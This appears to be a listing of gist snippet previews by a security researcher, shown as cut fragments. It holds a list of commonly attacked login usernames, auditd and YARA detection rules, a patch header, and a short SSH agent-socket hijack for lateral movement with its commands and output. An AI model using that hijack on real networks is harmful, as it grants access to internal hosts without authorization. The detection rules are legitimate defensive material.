| 461 root | |
| 392 | |
| 160 admin | |
| 94 default | |
| 39 guest | |
| 24 support | |
| 21 user | |
| 20 1234 | |
| 16 password | |
| 15 12345 |
Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]
user@internal:~$ hostname -f
internal.company.tld
| #!/bin/sh | |
| generate_file_rule () { | |
| filepermissions="${1}" | |
| rulename="${2}" | |
| while read filename | |
| do | |
| printf -- "-w %s -p %s -k %s\n" "${filename}" "${filepermissions}" "${rulename}" | |
| done | |
| } |
| rule aix { | |
| meta: | |
| author = "Tim Brown @timb_machine" | |
| description = "AIX binary" | |
| strings: | |
| $libca = "libc.a" | |
| $text = ".text" | |
| $data = ".data" | |
| condition: | |
| $libca and $text and $data |
| Description: Accept environment changes. | |
| Accept environment changes during negotiation by the client. | |
| Author: Tim Brown <[email protected]> | |
| --- | |
| The information above should follow the Patch Tagging Guidelines, please | |
| checkout http://dep.debian.net/deps/dep3/ to learn about the format. Here | |
| are templates for supplementary fields that you might want to add: | |
| Origin: <vendor|upstream|other>, <url of original patch> |
| rule ciscotools { | |
| meta: | |
| author = "Tim Brown @timb_machine" | |
| description = "Cisco tools" | |
| strings: | |
| $labs = "labs.portcullis.co.uk" | |
| $portcullislabs = "portcullislabs" | |
| $CiscoCXSecurity = "CiscoCXSecurity" | |
| $timb_machine = "timb_machine" | |
| $pentestmonkey = "pentestmonkey" |
| rule adonunix2 { | |
| meta: | |
| author = "Tim Brown @timb_machine" | |
| description = "AD on UNIX" | |
| strings: | |
| $quest = "/quest" | |
| $sss = "/sss" | |
| $pbis = "/pbis" | |
| $ipa = "/ipa" | |
| $samba = "/samba" |
| import "elf" | |
| rule enterpriseunix2 { | |
| meta: | |
| author = "Tim Brown @timb_machine" | |
| description = "Enterprise UNIX" | |
| strings: | |
| $aix = "aix" nocase | |
| $solaris = "solaris" nocase | |
| $hpux = "hpux" nocase |
| import "elf" | |
| rule enterpriseapps2 { | |
| meta: | |
| author = "Tim Brown @timb_machine" | |
| description = "Enterprise apps" | |
| strings: | |
| $db2 = "db2" nocase | |
| $oracle = "oracle" nocase | |
| $mysql = "mysql" nocase |